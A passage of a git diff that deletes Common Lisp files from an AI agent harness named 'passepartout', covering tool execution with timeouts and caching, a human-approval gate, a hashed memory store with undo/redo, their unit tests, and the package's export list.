registered for '~s'" actual-target)))))) - -(defun action-system-execute (action context) - "Execute internal harness commands." - (declare (ignore context)) - (let* ((payload (getf action :payload)) - (cmd (getf payload :action))) - (case cmd - (:eval - (eval (let ((*read-eval* nil)) (read-from-string (getf payload :code))))) - (:message - (log-message "ACT [System]: ~a" (getf payload :text))) - (t - (log-message "ACT ERROR [System]: Unknown command '~s'" cmd))))) - -(defun action-tool-execute (action context) - "Execute a registered cognitive tool." - (let* ((payload (getf action :payload)) - (tool-name (getf payload :tool)) - (tool-args (getf payload :args)) - (depth (getf context :depth 0)) - (meta (getf context :meta)) - (source (getf meta :source)) - (tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) - ;; v0.7.2: snapshot before destructive tool execution - (when (and tool (not (cognitive-tool-read-only-p tool))) - (undo-snapshot)) - (if tool - (handler-case - (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args)) - (is-read-only (cognitive-tool-read-only-p tool)) - (cache-key (when is-read-only (tool-cache-key tool-name clean-args))) - (cached (when cache-key (gethash cache-key *tool-cache*))) - (raw-result (if cached - (progn (log-message "TOOL-CACHE: hit for ~a" tool-name) cached) - (let* ((res (call-with-tool-timeout tool-name - (lambda () (funcall (cognitive-tool-body tool) clean-args))))) - (when (and is-read-only cache-key) - (setf (gethash cache-key *tool-cache*) res)) - res)))) - ;; Timeout: propagate error - (when (and (listp raw-result) (eq (getf raw-result :status) :error)) - (return-from action-tool-execute - (list :TYPE :EVENT :DEPTH (1+ depth) :META meta - :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name - :MESSAGE (getf raw-result :message))))) - (when source - (action-dispatch (list :TYPE :REQUEST :TARGET source - :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name raw-result))) - context)) - (list :TYPE :EVENT :DEPTH (1+ depth) :META meta - :PAYLOAD (list :SENSOR :tool-output :RESULT raw-result :TOOL tool-name))) - (error (c) - (list :TYPE :EVENT :DEPTH (1+ depth) :META meta - :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c))))) - (list :TYPE :EVENT :DEPTH (1+ depth) :META meta - :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name)))))) - -(defvar *tool-timeouts* (make-hash-table :test 'equal) - "Per-tool timeout in seconds. Default 120s.") - -;; Defaults: shell=300s, search-files=30s, eval-form=10s -(setf (gethash "shell" *tool-timeouts*) 300) -(setf (gethash "search-files" *tool-timeouts*) 30) -(setf (gethash "eval-form" *tool-timeouts*) 10) - -(defun tool-timeout (tool-name) - "Return timeout for tool-name, default 120 seconds." - (gethash (string-downcase (string tool-name)) *tool-timeouts* 120)) - -(defun call-with-tool-timeout (tool-name fn) - "Execute FN within the timeout for TOOL-NAME. -On timeout, returns (:status :error :message ...)." - (let ((timeout (tool-timeout tool-name))) - (handler-case - (sb-ext:with-timeout timeout - (funcall fn)) - (sb-ext:timeout (c) - (declare (ignore c)) - (list :status :error :message - (format nil "Timed out after ~a second~:p" timeout)))))) - -(defun verify-write (filepath expected-content) - "Verify that FILEPATH contains EXPECTED-CONTENT after write. -Returns T on match, logs and returns NIL on mismatch or read error." - (handler-case - (let ((actual (uiop:read-file-string filepath))) - (if (string= expected-content actual) - t - (progn - (log-message "WRITE-VERIFY: Mismatch in ~a" filepath) - nil))) - (error (c) - (log-message "WRITE-VERIFY: Cannot read ~a: ~a" filepath c) - nil))) - -;; v0.7.2: read-only tool response cache -(defvar *tool-cache* (make-hash-table :test 'equal) - "Cache for read-only tool results. Key: tool-name$sxhash-args. Cleared per session.") - -(defun tool-cache-key (tool-name args) - "Build a cache key from TOOL-NAME and ARGS." - (format nil "~a$~a" (string-downcase (string tool-name)) (sxhash args))) - -(defun tool-cache-clear () - "Clear the read-only tool response cache." - (clrhash *tool-cache*)) - -(defun tool-result-format (tool-name result) - "Format a tool result for display." - (if (listp result) - (let ((status (getf result :status)) - (content (getf result :content)) - (msg (getf result :message))) - (cond - ((and (eq status :success) content) (format nil "~a" content)) - ((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg)) - (t (format nil "TOOL [~a] RESULT: ~s" tool-name result)))) - (format nil "TOOL [~a] RESULT: ~a" tool-name result))) - -(defun loop-gate-act (signal) - "Final stage of the metabolic pipeline: Actuation. -For approval-required actions, creates a Flight Plan instead of executing." - (let* ((approved (getf signal :approved-action)) - (signal-status (getf signal :status)) - (type (getf signal :type)) - (meta (getf signal :meta)) - (source (getf meta :source)) - (feedback nil)) - ;; HITL: if the approved action requires human approval, - ;; create a Flight Plan (Emacs) and HITL entry (all gateways). - (when (and approved - (eq (getf approved :level) :approval-required)) - (let* ((payload (getf approved :payload)) - (blocked-action (getf payload :action)) - (hitl (hitl-create blocked-action))) - (log-message "ACT: Action requires approval — creating Flight Plan + HITL (~a)" (getf hitl :token)) - (dispatcher-flight-plan-create blocked-action) - (setf (getf signal :status) :suspended) - (action-dispatch (list :target source - :payload (list :text (getf hitl :message))) - signal) - (setf approved nil) - (setf feedback nil))) - (when approved - (let* ((original-type (getf approved :type)) - (verified (cognitive-verify approved signal))) - (if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT)) - (not (eq (getf verified :level) :approval-required)) - (not (member original-type '(:LOG :EVENT)))) - (progn - (log-message "ACT BLOCKED: Action failed last-mile deterministic check.") - (setf (getf signal :approved-action) nil) - (setf feedback verified)) - (progn - (setf (getf signal :approved-action) verified) - (setf approved verified))))) - - (case type - (:REQUEST (action-dispatch signal signal)) - (:LOG (action-dispatch signal signal)) - (:EVENT - (if approved - (let* ((target (getf approved :target)) - (result (action-dispatch approved signal))) - (cond - ((and (listp result) (member (getf result :type) '(:EVENT :LOG))) - (setf feedback result)) - ((and result (not (member target *actuator-silent*))) - (setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta - :payload (list :sensor :tool-output :result result :tool approved)))))) - (when source (action-dispatch signal signal))))) - (setf (getf signal :status) :acted) - feedback)) - -(defun act-gate (signal) - (loop-gate-act signal)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-act-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-act-suite)) - -(in-package :passepartout-pipeline-act-tests) - -(def-suite pipeline-act-suite :description "Test suite for Act pipeline") -(in-suite pipeline-act-suite) - -(test test-loop-gate-act-basic - "Contract 1: approved action reaches :acted status via loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) - (result (loop-gate-act signal))) - (is (eq :acted (getf signal :status))) - (is (null result)))) - -(test test-loop-gate-act-no-approved-action - "Contract 1: signal with no approved-action still reaches :acted status." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))))) - -(test test-loop-gate-act-last-mile-reject - "Contract 1: last-mile cognitive-verify rejection blocks approved-action." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-blocker - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx action)) - (list :type :LOG :payload (list :text "Last-mile block")))) - (let* ((signal (list :type :EVENT :status nil :depth 0 - :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))) - (is (null (getf signal :approved-action))))) - -(test test-loop-gate-act-preserves-meta - "Contract 1: signal metadata is not mutated by loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((meta '(:source :tui :session "s1")) - (signal (list :type :EVENT :status nil :depth 0 :meta meta - :approved-action '(:target :cli :payload (:text "test"))))) - (loop-gate-act signal) - (is (equal meta (getf signal :meta))))) - -(test test-action-dispatch-routes - "Contract 3: action-dispatch routes to registered actuators without crashing." - (actuator-initialize) - (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) - '(:type :EVENT :depth 0)))) - (is (numberp result) "eval should return a number"))) - -(test test-tool-timeout-shell - "Contract v0.7.2: shell timeout is 300 seconds." - (is (= 300 (passepartout::tool-timeout "shell")))) - -(test test-tool-timeout-unknown - "Contract v0.7.2: unknown tool gets default 120s." - (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) - -(test test-verify-write-match - "Contract v0.7.2: verify-write returns T on match." - (let ((path "/tmp/passepartout-verify-test.org") - (content "test content")) - (with-open-file (f path :direction :output :if-exists :supersede) - (write-string content f)) - (unwind-protect - (is (passepartout::verify-write path content)) - (ignore-errors (delete-file path))))) - -(test test-tool-timeout-enforcement - "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." - (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) - (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "sleep-forever" - :read-only-p nil - :body (lambda (args) - (declare (ignore args)) - (sleep 10) - "done"))) - (unwind-protect - (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) - (ctx '(:depth 0)) - (result (passepartout::action-tool-execute action ctx))) - (is (eq :EVENT (getf result :TYPE))) - (let ((payload (getf result :PAYLOAD))) - (is (eq :tool-error (getf payload :SENSOR))) - (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) - (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) - (remhash "sleep-forever" passepartout::*tool-timeouts*))) - -(test test-tool-cache-read-only - "Contract v0.7.2: read-only tool results are cached and reused." - (let ((call-count 0)) - (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "cache-test" - :read-only-p t - :body (lambda (args) - (declare (ignore args)) - (incf call-count) - (list :status :success :content (format nil "call ~d" call-count))))) - (unwind-protect - (progn - (clrhash passepartout::*tool-cache*) - (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) - (ctx '(:depth 0)) - (r1 (passepartout::action-tool-execute action ctx)) - (r2 (passepartout::action-tool-execute action ctx))) - (is (= 1 call-count) "Second call should hit cache, not re-execute") - (let ((p1 (getf r1 :PAYLOAD)) - (p2 (getf r2 :PAYLOAD))) - (is (string= (getf (getf p1 :RESULT) :CONTENT) - (getf (getf p2 :RESULT) :CONTENT)))))) - (remhash "cache-test" passepartout::*cognitive-tool-registry*) - (clrhash passepartout::*tool-cache*)))) diff --git a/lisp/core-memory.lisp b/lisp/core-memory.lisp deleted file mode 100644 index a496944..0000000 --- a/lisp/core-memory.lisp +++ /dev/null @@ -1,351 +0,0 @@ -(in-package :passepartout) - -(defvar *memory-store* (make-hash-table :test 'equal)) - -(defvar *memory-history* (make-hash-table :test 'equal) - "Immutable Merkle-Tree versioning store mapping hashes to objects.") - -(defun memory-object-get (id) - "Retrieves an memory-object by ID from *memory-store*." - (gethash id *memory-store*)) - -(defun memory-objects-by-attribute (attr value) - "Returns all memory-objects whose :ATTRIBUTES plist has ATTR = VALUE." - (let ((results nil)) - (maphash (lambda (id obj) - (declare (ignore id)) - (when (equal (getf (memory-object-attributes obj) attr) value) - (push obj results))) - *memory-store*) - (nreverse results))) - -(defun memory-id-generate () - "Generates a UUIDv4 unique ID. Compatible with Agora Note UUIDs." - (concatenate 'string "id-" (string-downcase (format nil "~a" (uuid:make-v4-uuid))))) - -(defstruct memory-object - id type attributes content vector parent-id children version last-sync hash scope) - -(defmethod make-load-form ((obj memory-object) &optional env) - (make-load-form-saving-slots obj :environment env)) - -(defun deep-copy-memory-object (obj) - "Creates a full copy of an memory-object, including fresh lists for attributes and children." - (make-memory-object :id (memory-object-id obj) - :type (memory-object-type obj) - :attributes (copy-list (memory-object-attributes obj)) - :content (memory-object-content obj) - :vector (memory-object-vector obj) - :parent-id (memory-object-parent-id obj) - :children (copy-list (memory-object-children obj)) - :version (memory-object-version obj) - :last-sync (memory-object-last-sync obj) - :hash (memory-object-hash obj) - :scope (memory-object-scope obj))) - -(defun memory-merkle-hash (id type attributes content child-hashes) - (let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v))) - (sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x))))) - (attr-string (format nil "~s" sorted-alist)) - (children-string (format nil "~{~a~}" child-hashes)) - (data-string (format nil "ID:~a|TYPE:~s|ATTRS:~a|CONTENT:~a|CHILDREN:~a" - id type attr-string (or content "") children-string)) - (digester (ironclad:make-digest :sha256))) - (ironclad:update-digest digester (ironclad:ascii-string-to-byte-array data-string)) - (ironclad:byte-array-to-hex-string (ironclad:produce-digest digester)))) - -(defun ingest-ast (ast &key parent-id (scope :memex)) - (let* ((type (getf ast :type)) - (props (getf ast :properties)) - (id (or (getf props :ID) (format nil "temp-~a" (get-universal-time)))) - (contents (getf ast :contents)) - (raw-content (when (eq type :HEADLINE) - (format nil "~a~%~a" (getf props :TITLE) (or (getf ast :raw-content) "")))) - (child-ids nil) (child-hashes nil)) - (dolist (child contents) - (when (listp child) - (let ((child-id (ingest-ast child :parent-id id :scope scope))) - (push child-id child-ids) - (let ((child-obj (gethash child-id *memory-store*))) - (when child-obj (push (memory-object-hash child-obj) child-hashes)))))) - (setf child-ids (nreverse child-ids)) - (setf child-hashes (nreverse child-hashes)) - (let* ((hash (memory-merkle-hash id type props raw-content child-hashes)) - (existing-obj (gethash hash *memory-history*)) - (obj (or existing-obj - (make-memory-object - :id id :type type :attributes props :content raw-content - :parent-id parent-id :children child-ids - :version (get-universal-time) :last-sync (get-universal-time) - :hash hash :scope scope)))) - (unless existing-obj (setf (gethash hash *memory-history*) obj)) - (setf (gethash id *memory-store*) obj) - ;; Populate embedding vector for new objects - (when (and raw-content (not existing-obj) (not (memory-object-vector obj))) - (handler-case - (setf (memory-object-vector obj) - (embeddings-compute raw-content)) - (error (c) - (log-message "INGEST: Embedding deferred: ~a" c)))) - id))) - -(defvar *memory-snapshots* nil) - -(defun memory-hash-table-copy (hash-table) - "Creates an independent copy of a hash table." - (let ((new-table (make-hash-table :test (hash-table-test hash-table) - :size (hash-table-size hash-table)))) - (maphash (lambda (k v) (setf (gethash k new-table) v)) hash-table) - new-table)) - -(defun snapshot-memory () - "Creates a CoW snapshot of *memory-store* for rollback recovery." - (let ((snapshot (make-hash-table :test 'equal :size (hash-table-size *memory-store*)))) - (maphash (lambda (k v) (setf (gethash k snapshot) (deep-copy-memory-object v))) *memory-store*) - (push (list :timestamp (get-universal-time) :data snapshot) *memory-snapshots*) - (when (> (length *memory-snapshots*) 20) - (setf *memory-snapshots* (subseq *memory-snapshots* 0 20))) - (log-message "MEMORY - CoW Memory snapshot created."))) - -(defun rollback-memory (&optional (index 0)) - "Restores *memory-store* from a snapshot. INDEX 0 = most recent." - (let ((snapshot (nth index *memory-snapshots*))) - (if snapshot - (progn (setf *memory-store* (memory-hash-table-copy (getf snapshot :data))) - (log-message "MEMORY - Memory rolled back to snapshot ~a" index)) - (log-message "MEMORY ERROR - Snapshot ~a not found." index)))) - -(defvar *memory-snapshot-path* nil) - -(defun memory-snapshot-path-ensure () - "Returns the path to the memory snapshot file, resolving env or default." - (or *memory-snapshot-path* - (let ((env-path (uiop:getenv "MEMORY_SNAPSHOT_PATH"))) - (setf *memory-snapshot-path* - (or env-path (namestring (uiop:merge-pathnames* "memory.snap" (user-homedir-pathname)))))))) - -(defun save-memory-to-disk () - "Writes the entire memory and history store to disk as a plist." - (let ((path (memory-snapshot-path-ensure))) - (with-open-file (stream path :direction :output :if-exists :supersede :if-does-not-exist :create) - (let ((memory-alist nil) (history-alist nil)) - (maphash (lambda (k v) (push (cons k v) memory-alist)) *memory-store*) - (maphash (lambda (k v) (push (cons k v) history-alist)) *memory-history*) - (prin1 (list :memory memory-alist :history-store history-alist) stream))) - (log-message "MEMORY - Saved to ~a" path))) - -(defun load-memory-from-disk () - "Reads memory state from disk and restores *memory-store* and *memory-history*." - (let ((path (memory-snapshot-path-ensure))) - (when (uiop:file-exists-p path) - (handler-case - (with-open-file (stream path :direction :input) - (let ((data (let ((*read-eval* nil)) (read stream nil)))) - (when data - (let ((memory-alist (getf data :memory)) (history-alist (getf data :history-store))) - (setf *memory-store* (make-hash-table :test 'equal :size (length memory-alist))) - (dolist (kv memory-alist) (setf (gethash (car kv) *memory-store*) (cdr kv))) - (setf *memory-history* (make-hash-table :test 'equal :size (length history-alist))) - (dolist (kv history-alist) (setf (gethash (car kv) *memory-history*) (cdr kv))) - (log-message "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory-store*)))))) - (error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c))))) - t) - -;; v0.7.2 — Undo/Redo -(defvar *undo-stack* nil - "Ring buffer of pre-operation memory snapshots. Newest first, max 20.") -(defvar *redo-stack* nil - "Stack of snapshots saved during undo for redo. Max 20.") - -(defun undo-snapshot () - "Save current memory state to the undo stack." - (let ((snap (list :timestamp (get-universal-time) - :data (memory-hash-table-copy *memory-store*)))) - (push snap *undo-stack*) - (when (> (length *undo-stack*) 20) - (setf *undo-stack* (subseq *undo-stack* 0 20))))) - -(defun undo (&optional source) - "Restore memory to the most recent undo snapshot. Returns T on success, NIL if stack empty." - (declare (ignore source)) - (if *undo-stack* - (let ((snap (pop *undo-stack*))) - (push (list :timestamp (get-universal-time) - :data (memory-hash-table-copy *memory-store*)) - *redo-stack*) - (when (> (length *redo-stack*) 20) - (setf *redo-stack* (subseq *redo-stack* 0 20))) - (setf *memory-store* (memory-hash-table-copy (getf snap :data))) - (log-message "UNDO: Memory restored to snapshot ~a" (getf snap :timestamp)) - t) - (progn (log-message "UNDO: No snapshots to undo") nil))) - -(defun redo (&optional source) - "Restore memory to the most recent redo snapshot. Returns T on success, NIL if stack empty." - (declare (ignore source)) - (if *redo-stack* - (let ((snap (pop *redo-stack*))) - (push (list :timestamp (get-universal-time) - :data (memory-hash-table-copy *memory-store*)) - *undo-stack*) - (when (> (length *undo-stack*) 20) - (setf *undo-stack* (subseq *undo-stack* 0 20))) - (setf *memory-store* (memory-hash-table-copy (getf snap :data))) - (log-message "REDO: Memory restored to snapshot ~a" (getf snap :timestamp)) - t) - (progn (log-message "REDO: No snapshots to redo") nil))) - -(defun audit-node (node-id) - "Return audit info for a memory object by ID." - (let ((obj (memory-object-get node-id))) - (when obj - (list :id node-id :type (memory-object-type obj) - :version (memory-object-version obj) - :hash (or (memory-object-hash obj) "(none)") - :scope (memory-object-scope obj))))) - -(defun audit-verify-hash () - "Count memory objects and report any with missing/empty hashes. -Returns (total . missing-hashes)." - (let ((total 0) (missing 0)) - (maphash (lambda (id obj) - (declare (ignore id)) - (when obj - (incf total) - (let ((h (memory-object-hash obj))) - (when (or (null h) (string= h "")) - (incf missing))))) - *memory-store*) - (cons total missing))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:memory-suite)) - -(in-package :passepartout-memory-tests) - -(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") -(in-suite memory-suite) - -(test merkle-hash-consistency - "Contract 2: identical ASTs produce identical Merkle hashes." - (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) - (clrhash passepartout::*memory-store*) - (let ((id1 (ingest-ast ast1))) - (let ((hash1 (memory-object-hash (memory-object-get id1)))) - (clrhash passepartout::*memory-store*) - (let ((id2 (ingest-ast ast1))) - (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) - -(test merkle-hash-different - "Contract 2: distinct ASTs produce different Merkle hashes." - (clrhash passepartout::*memory-store*) - (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) - (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) - (id1 (ingest-ast ast1)) - (id2 (ingest-ast ast2)) - (hash1 (memory-object-hash (memory-object-get id1))) - (hash2 (memory-object-hash (memory-object-get id2)))) - (is (not (equal hash1 hash2))))) - -(test test-ingest-ast-returns-id - "Contract 1: ingest-ast returns a string ID and stores the object." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) - (is (stringp id)) - (is (not (null id))))) - -(test test-memory-object-get - "Contract 3: memory-object-get retrieves an object by ID after ingest." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) - (let ((obj (memory-object-get id))) - (is (not (null obj))) - (is (eq :HEADLINE (memory-object-type obj))) - (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) - -(test test-snapshot-and-rollback - "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." - (clrhash passepartout::*memory-store*) - (setf passepartout::*memory-snapshots* nil) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) - (snapshot-memory) - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) - (rollback-memory 0) - (is (not (null (memory-object-get "snap-a")))) - (is (null (memory-object-get "snap-b")))) - -(test test-undo-snapshot-restore - "Contract v0.7.2: undo-snapshot captures state, undo restores." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "x" passepartout::*memory-store*) "hello") - (is (string= "hello" (gethash "x" passepartout::*memory-store*))) - (is (passepartout::undo)) - (is (null (gethash "x" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-redo-cycle - "Contract v0.7.2: redo restores undone state." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "y" passepartout::*memory-store*) "world") - (is (passepartout::undo)) - (is (null (gethash "y" passepartout::*memory-store*))) - (is (passepartout::redo)) - (is (string= "world" (gethash "y" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-empty-stack-nil - "Contract v0.7.2: undo returns nil on empty stack." - (let ((orig-undo passepartout::*undo-stack*)) - (unwind-protect - (progn (setf passepartout::*undo-stack* nil) - (is (null (passepartout::undo)))) - (setf passepartout::*undo-stack* orig-undo)))) - -(test test-audit-node-found - "Contract v0.7.2: audit-node returns info for existing object." - (clrhash passepartout::*memory-store*) - (setf (gethash "audit-1" passepartout::*memory-store*) - (passepartout::make-memory-object :id "audit-1" :type :HEADLINE - :version 1 :hash "abc123" :scope :memex)) - (let ((info (passepartout::audit-node "audit-1"))) - (is (not (null info))) - (is (eq :HEADLINE (getf info :type))) - (is (string= "abc123" (getf info :hash))))) - -(test test-audit-node-not-found - "Contract v0.7.2: audit-node returns nil for nonexistent id." - (is (null (passepartout::audit-node "nonexistent-xxxx")))) - -(test test-audit-verify-hash - "Contract v0.7.2: audit-verify-hash returns (total . missing)." - (clrhash passepartout::*memory-store*) - (setf (gethash "a" passepartout::*memory-store*) - (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) - (let ((result (passepartout::audit-verify-hash))) - (is (= 1 (car result))) - (is (= 0 (cdr result))))) diff --git a/lisp/core-package.lisp b/lisp/core-package.lisp deleted file mode 100644 index 8d66873..0000000 --- a/lisp/core-package.lisp +++ /dev/null @@ -1,317 +0,0 @@ -(defpackage :passepartout - (:use :cl) - (:export - ;; ── Core: Transport & Protocol ── - #:frame-message - #:read-framed-message - #:PROTO-GET - #:proto-get - #:make-hello-message - #:validate-communication-protocol-schema - #:start-daemon - #:register-actuator - #:actuator-initialize - #:action-dispatch - - ;; ── Core: Pipeline ── - #:main - #:log-message - #:*log-buffer* - #:*log-lock* - #:process-signal - #:loop-process - #:perceive-gate - #:loop-gate-perceive - #:act-gate - #:loop-gate-act - #:reason-gate - #:loop-gate-reason - #:cognitive-verify - #:backend-cascade-call - #:json-alist-to-plist - #:stimulus-inject - #:register-probabilistic-backend - #:*probabilistic-backends* - #:*provider-cascade* - - ;; ── Core: Memory ── - #:ingest-ast - #:memory-object-get - #:*memory-store* - #:memory-object - #:make-memory-object - #:memory-object-id - #:memory-object-type - #:memory-object-attributes - #:memory-object-parent-id - #:memory-object-children - #:memory-object-version - #:memory-object-last-sync - #:memory-object-vector - #:memory-object-content - #:memory-object-hash - #:memory-object-scope - #:memory-objects-by-attribute - #:snapshot-memory - #:rollback-memory - #:undo-snapshot - #:undo - #:redo - #:*undo-stack* - #:*redo-stack* - - ;; ── Core: Context & Awareness ── - #:context-get-system-logs - #:context-assemble-global-awareness - #:context-awareness-assemble - #:context-query - #:push-context - #:pop-context - #:current-context - #:current-scope - #:context-stack-depth - #:context-save - #:context-load - #:focus-project - #:focus-session - #:focus-memex - #:unfocus - #:*scope-resolver* - - ;; ── Core: Skills Engine ── - #:skill - #:skill-name - #:skill-priority - #:skill-dependencies - #:skill-trigger-fn - #:skill-probabilistic-prompt - #:skill-deterministic-fn - #:defskill - #:*skill-registry* - #:skill-initialize-all - #:load-skill-from-org - #:lisp-syntax-validate - - ;; ── Core: Cognitive Tools ── - #:def-cognitive-tool - #:*cognitive-tool-registry* - #:cognitive-tool - #:cognitive-tool-name - #:cognitive-tool-description - #:cognitive-tool-parameters - #:cognitive-tool-guard - #:cognitive-tool-body - #:tool-read-only-p - - ;; ── Security: Dispatcher ── - #:dispatcher-check-secret-path - #:dispatcher-check-shell-safety - #:dispatcher-check-privacy-tags - #:dispatcher-check-network-exfil - #:dispatcher-check - #:dispatcher-gate - #:wildcard-match - - ;; ── Security: HITL ── - #:hitl-create - #:hitl-approve - #:hitl-deny - #:hitl-handle-message - - ;; ── Security: Vault & Permissions ── - #:*VAULT-MEMORY* - #:vault-get - #:vault-set - #:vault-get-secret - #:vault-set-secret - #:get-tool-permission - #:set-tool-permission - #:check-tool-permission-gate - #:permission-get - #:permission-set - #:policy-compliance-check - #:validator-protocol-check - - ;; ── Embedding ── - #:*embedding-backend* - #:*embedding-queue* - #:*embedding-provider* - #:embed-queue-object - #:embed-object - #:embed-all-pending - #:embedding-backend-hashing - #:embedding-backend-native - #:embedding-native-load-model - #:embedding-native-unload - #:embedding-native-ensure-loaded - #:embedding-native-get-dim - #:embeddings-compute - #:mark-vector-stale - - ;; ── Channels ── - #:channel-cli-input - #:gateway-start - #:gateway-registry-initialize - #:messaging-link - #:messaging-unlink - #:gateway-configured-p - - ;; ── Programming: Lisp ── - #:lisp-validate - #:lisp-structural-check - #:lisp-syntactic-check - #:lisp-semantic-check - #:lisp-eval - #:lisp-format - #:lisp-list-definitions - #:lisp-extract - #:lisp-inject - #:lisp-slurp - - ;; ── Programming: Org ── - #:org-read-file - #:org-write-file - #:org-headline-add - #:org-headline-find-by-id - #:org-property-set - #:org-todo-set - #:org-id-generate - #:org-id-format - #:org-modify - - ;; ── Programming: Literate & REPL ── - #:literate-tangle-sync-check - #:literate-extract-lisp-blocks - #:literate-block-balance-check - #:repl-eval - #:repl-inspect - #:repl-list-vars - - ;; ── Symbolic ── - #:archivist-create-note - #:archivist-extract-headlines - #:archivist-headline-to-filename - - ;; ── Diagnostics & Config ── - #:diagnostics-run-all - #:diagnostics-main - #:diagnostics-dependencies-check - #:diagnostics-env-check - #:get-oc-config-dir - #:run-setup-wizard - - ;; ── Providers ── - #:register-provider - #:provider-openai-request - #:provider-config - - ;; ── Token Economics ── - #:count-tokens - #:model-token-ratio - #:token-cost - #:provider-token-cost - #:cost-track-call - #:cost-session-total - #:cost-session-calls - #:cost-by-provider - #:cost-session-reset - #:cost-format-budget-status - #:cost-track-backend-call - #:prompt-prefix-cached - #:context-assemble-cached - #:enforce-token-budget - #:token-economics-initialize)) - -(in-package :passepartout) - -(defvar *log-buffer* nil) -(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock")) -(defvar *log-limit* 100) - -(defvar *skill-registry* (make-hash-table :test 'equal) - "Global registry of all loaded skills.") - -(defvar *telemetry-table* (make-hash-table :test 'equal)) -(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock")) - -(defun telemetry-track (skill-name duration status) - "Updates performance metrics for a skill. STATUS is :success or :rejected." - (when skill-name - (bordeaux-threads:with-lock-held (*telemetry-lock*) - (let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0)))) - (incf (getf entry :executions)) - (incf (getf entry :total-time) duration) - (when (eq status :rejected) (incf (getf entry :failures))) - (setf (gethash skill-name *telemetry-table*) entry))))) - -(defvar *cognitive-tool-registry* (make-hash-table :test 'equal)) - -(defstruct cognitive-tool - name - description - parameters - guard - body - read-only-p) - -(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p) - "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter." - `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*) - (make-cognitive-tool :name (string-downcase (string ',name)) - :description ,description - :parameters ',parameters - :guard ,guard - :body ,body - :read-only-p ,read-only-p))) - -(defun cognitive-tool-prompt () - "Serialises all registered tools into a prompt string for the LLM." - (let 